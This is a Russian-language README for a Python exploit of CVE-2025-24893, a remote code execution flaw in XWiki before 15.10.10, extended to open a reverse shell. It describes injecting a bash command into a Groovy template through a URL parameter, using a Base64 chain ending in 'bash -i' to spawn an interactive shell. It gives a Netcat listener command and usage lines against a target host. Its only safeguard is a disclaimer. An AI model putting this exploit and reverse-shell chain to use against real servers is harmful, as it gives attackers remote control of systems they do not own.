
CVE-2025-24893 эксплойт RCE для XWiki с возможностью обратной оболочки
Отказ от ответственности: Данный скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Неправильное использование может быть незаконным и опасным.
Этот Python-скрипт эксплуатирует уязвимость CVE-2025-24893 — удаленное выполнение кода (RCE), затрагивающую XWiki версий до 15.10.10.
Эта версия расширяет оригинальный PoC от Al Baradi Joy, добавляя возможность создания обратного шелла. Оригинальный PoC можно найти здесь.
XWiki выполняет Groovy-код через параметр URL.
Эксплойт внедряет команду bash -c в этот Groovy-шаблон.
Обычный обратный шелл содержит множество кавычек (' и "), которые нарушат вычисление Groovy и сам URL.
Чтобы решить эту проблему, скрипт кодирует однострочную шелл-команду в Base64.
Затем полезная нагрузка отправляется в URL и выполняется с помощью следующей цепочки:
{echo,<base64>} | {base64,-d} | {bash,-i}
Это безопасно декодирует полезную нагрузку Base64 и выполняет её с помощью bash -i, предоставляя интерактивный обратный шелл.
http://<target-host>/ в конце/xwiki (скрипт добавляет его автоматически)Примеры:
# Правильно
http://10.129.95.114:8080
http://example.com:8080
# Неправильно
http://10.129.95.114:8080/ # завершающий слеш
http://example.com/xwiki # содержит /xwiki
Перед запуском эксплойта вы должны запустить слушателя на своей машине, чтобы принять обратный шелл.
Пример с использованием Netcat:
nc -lvnp <lport>
<lport> должен совпадать с портом, который вы передаёте скрипту в качестве аргумента.python3 cve-2025-24893.py <target_base_url> <lhost> <lport>
Пример:
python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444